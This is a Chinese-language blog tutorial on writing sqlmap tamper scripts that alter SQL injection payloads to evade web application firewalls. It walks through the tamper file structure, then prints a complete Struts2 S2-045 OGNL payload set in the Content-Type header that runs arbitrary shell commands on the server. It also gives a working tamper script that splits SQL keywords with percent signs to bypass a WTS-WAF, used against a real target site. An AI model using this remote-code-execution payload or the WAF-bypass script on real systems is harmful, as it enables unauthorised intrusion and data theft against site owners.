SQLMap tamper编写

简介

sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf/ids

可以理解为,sqlmap在对漏洞网站自动化注入的时候,如果我们使用了tamper脚本,sqlmap的每个payload都会经过tamper这个包装车间的加工,然后再进行投递。

当我们使用网上公开的tamper时,这个tamper是怎么实现的我们不需要知道,只需要按照使用说明使用即可,但渗透测试中环境千变万化,我们总会遇到需要自己编写tamper的场景,这也是本文的重点

使用方法

sqlmap.py XXXXX -tamper "模块名"

sqlmaptamper目录下有一些简单的tamper脚本,可以进行简单绕过

tamper结构简述

escapequotes.py这个tamper文件为例

见名知义,该tamper是用来转义的,将单引号转换成\\',双引号转换成 \\"

代码如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Slash escape single and double quotes (e.g. ' -> \')

    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """

    return payload.replace("'", "\\'").replace('"', '\\"')

简单解释一下结构

__priority__ 是当前脚本调用优先等级,该优先级用于使用多个tamper时的执行顺序选择

在自带的tamper脚本中一共有以下几种优先级,还可以自定义-100~100

__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST

dependencies函数声明该脚本适用或不适用的范围,可以为空,例如:

import os
from lib.core.common import singleTimeWarnMessage

def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
# singleTimeWarnMessage() 用于在控制台中打印出警告信息

tamper是主要的函数,接受的参数为payload**kwargs,返回值为替换后的payload

这里可以看出返回的是使用了python字符串替换函数replace,将字符串中的单引号和双引号进行转义

payload.replace("'", "\\'").replace('"', '\\"')

tamper函数不仅有payload参数,还有可变长参数**kwargs

def tamper(payload, **kwargs)

kwargs是一个字典,我们输出出来看一下

def tamper(payload, **kwargs):
    print(kwargs)
    return payload

其结构为

{'headers': {}, 'delimiter': '&', 'hints': {}}

这里的kwargs['headers']很明显是我们的请求头,我们可以对其进行自定义

倾旋师傅提到这样来执行s2-45

kwargs['headers']['Content-type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent

当然我们可以进行更多的自定义

编写一个简单的 bypass WTS-WAF tamper

了解了结构和说明之后,我们来编写一个bypass wts-waf 的 tamper 脚本,思路就跟之前提到的这里相同,只是将其关键字中间添加了%号:https://www.cnblogs.com/Cl0ud/p/14345881.html

目标站点是asp+Access,装着不知名版本的wts-waf

我们使用sqlmap证明漏洞存在,tamper内容为

'''
    test bypass WTS-WAF
'''

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload=payload.lower()
    payload=payload.replace('and','an%d')
    payload=payload.replace('select','sel%ect')
    payload=payload.replace('union','un%ion')
    payload=payload.replace('sleep','sl%eep')
    payload=payload.replace('or','o%r')
    payload=payload.replace('between','bet%ween')
    return payload

输入命令

sqlmap.py -u http://漏洞URL?class=16 --tamper=wts_waf -v 3

这里的-v 3是为了看到payload

它共有七个等级,默认为1:

  • 0、只显示python错误以及严重的信息。
  • 1、同时显示基本信息和警告信息。(默认)
  • 2、同时显示debug信息。
  • 3、同时显示注入的payload。
  • 4、同时显示HTTP请求。
  • 5、同时显示HTTP响应头。
  • 6、同时显示HTTP响应页面。

可以看到这里payload中的关键字成功被加工

证明漏洞存在

想要通过注入点获取数据和进一步操作需要在简易版tamper的基础上再进行修改,比如禁用函数关键字的绕过等等,下次再写,另外会写一些绕过最新WAF的文章 :)

参考链接

posted @ 2021-02-09 23:36  春告鳥  阅读(1378)  评论(0编辑  收藏  举报